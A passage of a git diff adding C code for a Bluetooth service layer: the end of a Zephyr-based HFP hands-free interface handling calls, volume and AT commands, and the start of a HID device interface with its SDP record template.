+ } + + bt_sal_get_remote_address(conn->conn, bd_addr); + hfp_hf_on_subscriber_number_response(bd_addr, number, fw_service); +} + +static void zblue_on_vgm(struct bt_hfp_hf* hf, uint8_t gain) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + hfp_hf_on_volume_changed(&conn->addr, HFP_VOLUME_TYPE_MIC, gain); +} + +static void zblue_on_vgs(struct bt_hfp_hf* hf, uint8_t gain) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + hfp_hf_on_volume_changed(&conn->addr, HFP_VOLUME_TYPE_SPK, gain); +} + +static void zblue_on_voice_recognition(struct bt_hfp_hf* hf, bool activate) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + hfp_hf_on_voice_recognition_state_changed(&conn->addr, activate); +} + +static void zblue_on_ring_indication(struct bt_hfp_hf_call* call) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_call_context(call, NULL); + if (!conn) { + BT_LOGW("%s, Failed to find connection for ring", __func__); + return; + } + + hfp_hf_on_ring_active_state_changed(&conn->addr, true, HFP_IN_BAND_RINGTONE_NOT_PROVIDED); +} + +static void zblue_on_clip(struct bt_hfp_hf_call* call, char* number, uint8_t type) +{ + bt_hfp_hf_call_info_t* sal_call = NULL; + const char* num = number ? number : ""; + bt_hfp_hf_connection_t* conn = find_connection_by_call_context(call, &sal_call); + if (!conn) { + BT_LOGE("%s, Failed to find connection for CLIP", __func__); + return; + } + + if (sal_call) { + sal_call->type = type; + } + + hfp_hf_on_clip(&conn->addr, num, ""); +} + +static void zblue_on_vendor_specific(struct bt_hfp_hf* hf, const char* response) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection for vendor specific response", __func__); + return; + } + + if (!response) { + return; + } + + hfp_hf_on_received_at_cmd_resp(&conn->addr, (char*)response, strlen(response)); +} + +static hfp_atcmd_code_t zblue_at_cmd_to_service_cmd( + enum bt_hfp_hf_at_cmd at_cmd) +{ + switch (at_cmd) { + case BT_HFP_HF_AT_CMD_ATA: + return HFP_ATCMD_CODE_ATA; + case BT_HFP_HF_AT_CMD_ATD_NUMBER: + case BT_HFP_HF_AT_CMD_ATD_MEMORY: + return HFP_ATCMD_CODE_ATD; + case BT_HFP_HF_AT_CMD_BLDN: + return HFP_ATCMD_CODE_BLDN; + default: + return HFP_ATCMD_CODE_UNKNOWN; + } +} + +static void zblue_on_at_cmd_complete(struct bt_hfp_hf* hf, enum bt_hfp_hf_at_cmd cmd, + enum bt_at_result result, enum bt_at_cme err) +{ + BT_LOGD("%s, AT cmd complete: cmd=%d, result=%d, err=%d", __func__, cmd, result, err); + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection for AT cmd complete", __func__); + return; + } + + uint32_t result_code = result == BT_AT_RESULT_CME_ERROR ? err : result; + + hfp_hf_on_at_command_result_response(&conn->addr, zblue_at_cmd_to_service_cmd(cmd), result_code); +} + +static void zblue_on_codec_negotiate(struct bt_hfp_hf* hf, uint8_t id) +{ + bt_hfp_hf_connection_t* conn = find_connection_by_hf(hf); + if (!conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + int ret = Z_API(bt_hfp_hf_select_codec)(hf, id); + if (ret) { + BT_LOGE("%s, bt_hfp_hf_select_codec failed: %d", __func__, ret); + } + + hfp_codec_config_t cfg = { 0 }; + switch (id) { + case BT_HFP_HF_CODEC_MSBC: + cfg.codec = HFP_CODEC_MSBC; + cfg.sample_rate = 16000; + cfg.bit_width = 16; + break; + case BT_HFP_HF_CODEC_CVSD: + default: + cfg.codec = HFP_CODEC_CVSD; + cfg.sample_rate = 8000; + cfg.bit_width = 16; + break; + } + + hfp_hf_on_codec_changed(&conn->addr, &cfg); +} + +static void zblue_on_current_call(struct bt_hfp_hf* hf, struct bt_hfp_hf_current_call* call) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_hf(hf); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return; + } + + bt_address_t bd_addr; + bt_sal_get_remote_address(sal_conn->conn, &bd_addr); + + if (!call) { + BT_ADDR_LOG("CLCC finished from %s", &bd_addr); + hfp_hf_on_current_call_response(&bd_addr, 0, 0, 0, 0, NULL, 0); + return; + } + + BT_LOGD("%s, CLCC %d: %s", __func__, call->index, call->number); + + bt_hfp_hf_call_info_t* sal_call = find_or_create_call(sal_conn, call->call); + + uint32_t idx = call->index; + hfp_call_direction_t dir = HFP_CALL_DIRECTION_OUTGOING; + switch (call->dir) { + case BT_HFP_HF_CALL_DIR_OUTGOING: + dir = HFP_CALL_DIRECTION_OUTGOING; + break; + case BT_HFP_HF_CALL_DIR_INCOMING: + dir = HFP_CALL_DIRECTION_INCOMING; + break; + default: + BT_LOGW("%s, Unknown direction: %d", __func__, call->dir); + break; + } + + hfp_hf_call_state_t status = 0; + switch (call->status) { + case BT_HFP_HF_CALL_STATUS_ACTIVE: + status = HFP_HF_CALL_STATE_ACTIVE; + break; + case BT_HFP_HF_CALL_STATUS_HELD: + status = HFP_HF_CALL_STATE_HELD; + break; + case BT_HFP_HF_CALL_STATUS_DIALING: + status = HFP_HF_CALL_STATE_DIALING; + break; + case BT_HFP_HF_CALL_STATUS_ALERTING: + status = HFP_HF_CALL_STATE_ALERTING; + break; + case BT_HFP_HF_CALL_STATUS_INCOMING: + status = HFP_HF_CALL_STATE_INCOMING; + break; + case BT_HFP_HF_CALL_STATUS_WAITING: + status = HFP_HF_CALL_STATE_WAITING; + break; + case BT_HFP_HF_CALL_STATUS_INCOMING_HELD: + status = HFP_HF_CALL_STATE_HELD_BY_RESP_HOLD; + break; + default: + BT_LOGW("%s, Unknown status: %d", __func__, call->status); + break; + } + + hfp_call_mpty_type_t mpty = call->multiparty ? HFP_CALL_MPTY_TYPE_MULTI : HFP_CALL_MPTY_TYPE_SINGLE; + + sal_call->index = idx; + sal_call->state = status; + + hfp_hf_on_current_call_response(&bd_addr, idx, dir, status, mpty, call->number, call->type); +} + +static struct bt_hfp_hf_cb hf_callbacks = { + .connected = zblue_on_connected, + .disconnected = zblue_hf_disconnected, + .sco_connected = zblue_on_sco_connected, + .sco_disconnected = zblue_on_sco_disconnected, + .service = NULL, + .outgoing = zblue_on_outgoing_call, + .remote_ringing = zblue_on_remote_ringing, + .incoming = zblue_on_incoming_call, + .incoming_held = NULL, + .accept = zblue_on_call_accept, + .reject = zblue_on_call_reject, + .terminate = zblue_on_call_terminate, + .held = zblue_on_call_held, + .retrieve = zblue_on_call_retrieve, + .signal = NULL, + .roam = NULL, + .battery = NULL, + .ring_indication = zblue_on_ring_indication, + .dialing = NULL, + .clip = zblue_on_clip, + .vgm = zblue_on_vgm, + .vgs = zblue_on_vgs, + .inband_ring = NULL, + .codec_negotiate = zblue_on_codec_negotiate, + .ecnr_turn_off = NULL, + .call_waiting = NULL, + .voice_recognition = zblue_on_voice_recognition, + .vre_state = NULL, + .textual_representation = NULL, + .request_phone_number = NULL, + .subscriber_number = zblue_on_subscriber_number, + .query_call = zblue_on_current_call, + .vendor_specific = zblue_on_vendor_specific, + .at_cmd_complete = zblue_on_at_cmd_complete, +}; + +bt_status_t bt_sal_hfp_hf_init(uint32_t hf_features, uint8_t max_connection) +{ + (void)hf_features; + (void)max_connection; + int err; + g_sal_hf_conn_list = bt_list_new(free_connection); + + err = Z_API(bt_hfp_hf_register)(&hf_callbacks); + + if (err) { + bt_list_free(g_sal_hf_conn_list); + g_sal_hf_conn_list = NULL; + } + + SAL_CHECK_RET(err, 0); + return BT_STATUS_SUCCESS; +} + +void bt_sal_hfp_hf_cleanup(void) +{ + if (Z_API(bt_hfp_hf_unregister)()) { + BT_LOGE("%s, Failed to unregister HFP HF callbacks", __func__); + } + + if (g_sal_hf_conn_list) { + bt_list_free(g_sal_hf_conn_list); + g_sal_hf_conn_list = NULL; + } + return; +} + +bt_status_t bt_sal_hfp_hf_connect(bt_address_t* addr) +{ + /** FIXME: @p g_conn_params might be NULL even when the previous ACL is connecting */ + if (g_conn_params != NULL) { + BT_LOGE("%s, Previous connection ongoing", __func__); + return BT_STATUS_BUSY; + } + + return bt_sal_profile_connect_request(addr, PROFILE_HFP_HF, CONN_ID_DEFAULT, 0, do_hf_connect, NULL); +} + +bt_status_t bt_sal_hfp_hf_disconnect(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + + if (!sal_conn->hf) { + BT_LOGE("%s, HFP HF not connected", __func__); + return BT_STATUS_FAIL; + } + + return bt_sal_profile_disconnect_request(addr, PROFILE_HFP_HF, CONN_ID_DEFAULT, 0, do_hf_disconnect, NULL); +} + +bt_status_t bt_sal_hfp_hf_connect_audio(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + + int ret = Z_API(bt_hfp_hf_audio_connect)(sal_conn->hf); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_disconnect_audio(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!sal_conn->sco_conn) { + BT_LOGW("%s, SCO not connected", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = bt_conn_disconnect(sal_conn->sco_conn, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_answer_call(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + bt_hfp_hf_call_info_t* incoming = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_INCOMING); + if (!incoming) { + BT_LOGE("%s, No incoming call to answer", __func__); + return BT_STATUS_PARM_INVALID; + } + + SAL_CHECK_RET(Z_API(bt_hfp_hf_accept)(incoming->context), 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_reject_call(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + + bt_hfp_hf_call_info_t* incoming_call = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_INCOMING); + if (!incoming_call) { + BT_LOGE("%s, No incoming call to reject", __func__); + return BT_STATUS_FAIL; + } + + SAL_CHECK_RET(Z_API(bt_hfp_hf_reject)(incoming_call->context), 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_hold_call(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + + int ret = Z_API(bt_hfp_hf_hold_active_accept_other)(sal_conn->hf); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_hangup_call(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_FAIL; + } + + bt_hfp_hf_call_info_t* target = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_ACTIVE); + if (!target) { + target = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_DIALING); + } + if (!target) { + target = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_ALERTING); + } + + if (!target) { + BT_LOGE("%s, No active/dialing/alerting call to hang up", __func__); + return BT_STATUS_FAIL; + } + + if (count_call(sal_conn) == 1) { + SAL_CHECK_RET(Z_API(bt_hfp_hf_terminate)(target->context), 0); + } else { + SAL_CHECK_RET(Z_API(bt_hfp_hf_release_active_accept_other)(sal_conn->hf), 0); + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_dial_number(bt_address_t* addr, const char* number) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!number) { + SAL_CHECK_RET(Z_API(bt_hfp_hf_redial)(sal_conn->hf), 0); + return BT_STATUS_SUCCESS; + } + + SAL_CHECK_RET(Z_API(bt_hfp_hf_number_call)(sal_conn->hf, number), 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_dial_memory(bt_address_t* addr, uint32_t memory) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + char mem_in_str[HFP_PHONENUM_DIGITS_MAX + 1]; + + snprintf(mem_in_str, sizeof(mem_in_str), "%" PRIu32, memory); + SAL_CHECK_RET(Z_API(bt_hfp_hf_memory_dial)(sal_conn->hf, mem_in_str), 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_call_control(bt_address_t* addr, hfp_call_control_t chld, uint32_t index) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = -ENOTSUP; + switch (chld) { + case HFP_HF_CALL_CONTROL_CHLD_0: { + bt_hfp_hf_call_info_t* waiting = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_WAITING); + if (waiting) { + ret = Z_API(bt_hfp_hf_set_udub)(sal_conn->hf); + } else { + bt_hfp_hf_call_info_t* held = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_HELD); + if (held) { + ret = Z_API(bt_hfp_hf_release_all_held)(sal_conn->hf); + } else { + BT_LOGW("%s, No waiting/held call for CHLD=0", __func__); + return BT_STATUS_PARM_INVALID; + } + } + break; + } + case HFP_HF_CALL_CONTROL_CHLD_1: + if (index > 0) { + bt_hfp_hf_call_info_t* by_idx = find_call_by_index(sal_conn, (uint8_t)index); + if (!by_idx) { + BT_LOGE("%s, No call with index %u for CHLD=1<idx>", __func__, (unsigned)index); + return BT_STATUS_PARM_INVALID; + } + ret = Z_API(bt_hfp_hf_release_specified_call)(by_idx->context); + } else { + ret = Z_API(bt_hfp_hf_release_active_accept_other)(sal_conn->hf); + } + break; + case HFP_HF_CALL_CONTROL_CHLD_2: + if (index > 0) { + bt_hfp_hf_call_info_t* by_idx = find_call_by_index(sal_conn, (uint8_t)index); + if (!by_idx) { + BT_LOGE("%s, No call with index %u for CHLD=2<idx>", __func__, (unsigned)index); + return BT_STATUS_PARM_INVALID; + } + ret = Z_API(bt_hfp_hf_private_consultation_mode)(by_idx->context); + } else { + ret = Z_API(bt_hfp_hf_hold_active_accept_other)(sal_conn->hf); + } + break; + case HFP_HF_CALL_CONTROL_CHLD_3: + ret = Z_API(bt_hfp_hf_join_conversation)(sal_conn->hf); + break; + case HFP_HF_CALL_CONTROL_CHLD_4: + ret = Z_API(bt_hfp_hf_explicit_call_transfer)(sal_conn->hf); + break; + default: + return BT_STATUS_UNSUPPORTED; + } + + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_get_current_calls(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + SAL_CHECK_RET(Z_API(bt_hfp_hf_query_list_of_current_calls)(sal_conn->hf), 0); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_set_volume(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + uint8_t gain = volume > 15 ? 15 : volume; + + int ret; + switch (type) { + case HFP_VOLUME_TYPE_MIC: + ret = Z_API(bt_hfp_hf_vgm)(sal_conn->hf, gain); + break; + case HFP_VOLUME_TYPE_SPK: + ret = Z_API(bt_hfp_hf_vgs)(sal_conn->hf, gain); + break; + default: + BT_LOGE("%s, Unknown volume type: %d", __func__, type); + return BT_STATUS_PARM_INVALID; + } + + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_start_voice_recognition(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = Z_API(bt_hfp_hf_voice_recognition)(sal_conn->hf, true); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_stop_voice_recognition(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = Z_API(bt_hfp_hf_voice_recognition)(sal_conn->hf, false); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_send_battery_level(bt_address_t* addr, uint8_t value) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + uint8_t level = (value > 100) ? 100 : value; + + int ret = Z_API(bt_hfp_hf_battery)(sal_conn->hf, level); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_send_at_cmd(bt_address_t* addr, const char* cmd, uint16_t len) +{ + BT_LOGD("%s, Sending AT command: %.*s", __func__, len, cmd); + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!cmd || len == 0) { + BT_LOGE("%s, Invalid AT command", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = Z_API(bt_hfp_hf_send_vendor)(sal_conn->hf, cmd); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_send_dtmf(bt_address_t* addr, char dtmf) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + if (!sal_conn) { + BT_LOGE("%s, Failed to find connection", __func__); + return BT_STATUS_PARM_INVALID; + } + + bt_hfp_hf_call_info_t* active = find_call_by_state(sal_conn, HFP_HF_CALL_STATE_ACTIVE); + if (!active) { + BT_LOGE("%s, No active call for DTMF", __func__); + return BT_STATUS_PARM_INVALID; + } + + int ret = Z_API(bt_hfp_hf_transmit_dtmf_code)(active->context, dtmf); + if (ret == -ENOTSUP) { + return BT_STATUS_UNSUPPORTED; + } + + SAL_CHECK_RET(ret, 0); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_hfp_hf_get_subscriber_number(bt_address_t* addr) +{ + bt_hfp_hf_connection_t* sal_conn = find_connection_by_addr(addr); + + SAL_CHECK_RET(Z_API(bt_hfp_hf_query_subscriber)(sal_conn->hf), 0); + + return BT_STATUS_SUCCESS; +} diff --git a/service/stacks/zephyr/sal_hid_device_interface.c b/service/stacks/zephyr/sal_hid_device_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..c60d349969cd83aead9a602ea700befb7117f50b --- /dev/null +++ b/service/stacks/zephyr/sal_hid_device_interface.c @@ -0,0 +1,856 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#include <zephyr/bluetooth/classic/hid_device.h> +#include <zephyr/bluetooth/classic/sdp.h> + +#include "bt_addr.h" +#include "hid_device_service.h" +#include "utils/log.h" + +#include "sal_connection_manager.h" +#include "sal_hid_device_interface.h" +#include "sal_interface.h" +#include "sal_zblue.h" + +#define BT_HID_DEVICE_VERSION 0x0101 +#define BT_HID_PARSER_VERSION 0x0111 +#define BT_HID_DEVICE_SUBCLASS 0xc0 +#define BT_HID_DEVICE_COUNTRY_CODE 0x21 +#define BT_HID_PROTO_INTERRUPT 0x0013 + +#define BT_HID_LANG_ID_ENGLISH 0x0409 +#define BT_HID_LANG_ID_OFFSET 0x0100 + +#define BT_HID_SUPERVISION_TIMEOUT 1000 +#define BT_HID_MAX_LATENCY 240 +#define BT_HID_MIN_LATENCY 0 + +#define BT_HID_DEVICE_REPORT_DESC_SIZE 256 +#define BT_HID_DEVICE_DESC_VALUE_INDEX 3 + +typedef struct sal_hid_connection { + struct bt_hid_device* hid_device; + bt_address_t addr; + struct bt_conn* conn; + bool le_hid; +} sal_hid_connection_t; + +typedef struct sal_bt_hid_device_mgr { + bool registered; + pthread_mutex_t mutex; + bt_list_t* connections; + struct bt_sdp_record* record; + uint8_t* description; +} sal_bt_hid_device_mgr_t; + +static struct bt_sdp_attribute hid_attrs_template[] = { + BT_SDP_NEW_SERVICE, + BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_HID_SVCLASS) })), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 13), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_HID) }) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_HID) }) }, )), + BT_SDP_LIST(BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_HID_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_DEVICE_VERSION) }) })), + BT_SDP_LIST( + BT_SDP_ATTR_ADD_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 15), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 13), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_PROTO_INTERRUPT) }) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_HID) }) }) })), + BT_SDP_SERVICE_NAME("HID CONTROL"), + { BT_SDP_ATTR_HID_PARSER_VERSION, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_PARSER_VERSION) } }, + { BT_SDP_ATTR_HID_DEVICE_SUBCLASS, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT8), + BT_SDP_ARRAY_16(BT_HID_DEVICE_SUBCLASS) } }, + { BT_SDP_ATTR_HID_COUNTRY_CODE, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT8), + BT_SDP_ARRAY_16(BT_HID_DEVICE_COUNTRY_CODE) } }, + { BT_SDP_ATTR_HID_VIRTUAL_CABLE, + { BT_SDP_TYPE_SIZE(BT_SDP_BOOL), + BT_SDP_ARRAY_8(0x01) } }, + { BT_SDP_ATTR_HID_RECONNECT_INITIATE, + { BT_SDP_TYPE_SIZE(BT_SDP_BOOL), + BT_SDP_ARRAY_8(0x01) } }, + BT_SDP_LIST( + BT_SDP_ATTR_HID_DESCRIPTOR_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ16, BT_HID_DEVICE_REPORT_DESC_SIZE + 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ16, BT_HID_DEVICE_REPORT_DESC_SIZE + 5), + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT8), + BT_SDP_ARRAY_8(0x22), + }, + { + BT_SDP_TYPE_SIZE_VAR(BT_SDP_TEXT_STR16, + BT_HID_DEVICE_REPORT_DESC_SIZE), + NULL, + }) })), + BT_SDP_LIST( + BT_SDP_ATTR_HID_LANG_ID_BASE_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_LANG_ID_ENGLISH), + }, + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_LANG_ID_OFFSET), + }), + })), + { BT_SDP_ATTR_HID_BOOT_DEVICE, + { BT_SDP_TYPE_SIZE(BT_SDP_BOOL), + BT_SDP_ARRAY_8(0x01) } }, + { BT_SDP_ATTR_HID_SUPERVISION_TIMEOUT, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_SUPERVISION_TIMEOUT) } }, + { BT_SDP_ATTR_HID_MAX_LATENCY, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_MAX_LATENCY) } }, + { BT_SDP_ATTR_HID_MIN_LATENCY, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(BT_HID_MIN_LATENCY) } }, +}; + +static sal_bt_hid_device_mgr_t g_hid_device_mgr = { + .registered = false, + .mutex = PTHREAD_MUTEX_INITIALIZER, + .connections = NULL +}; + +static bt_status_t hid_disconnect_handler(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data); + +static inline void hid_conn_lock(void) +{ + pthread_mutex_lock(&g_hid_device_mgr.mutex); +} + +static inline void hid_conn_unlock(void) +{ + pthread_mutex_unlock(&g_hid_device_mgr.mutex); +} + +static sal_hid_connection_t* hid_find_connection_by_address(bt_address_t* addr) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + for (bt_list_node_t* node = bt_list_head(hid_mgr->connections); node != NULL; node = bt_list_next(hid_mgr->connections, node)) { + sal_hid_connection_t* hid_conn = (sal_hid_connection_t*)bt_list_node(node); + + if (bt_addr_compare(&hid_conn->addr, addr) == 0) { + return hid_conn; + } + } + + return NULL; +} + +static sal_hid_connection_t* hid_find_connections_by_device(struct bt_hid_device* hid) +{ + sal_bt_hid_device_mgr_t* hid_mgr = &g_hid_device_mgr; + + for (bt_list_node_t* node = bt_list_head(hid_mgr->connections); node != NULL; node = bt_list_next(hid_mgr->connections, node)) { + sal_hid_connection_t* hid_conn = (sal_hid_connection_t*)bt_list_node(node); + + if (hid_conn->hid_device == hid) { + return hid_conn; + } + } + + return NULL; +} + +static 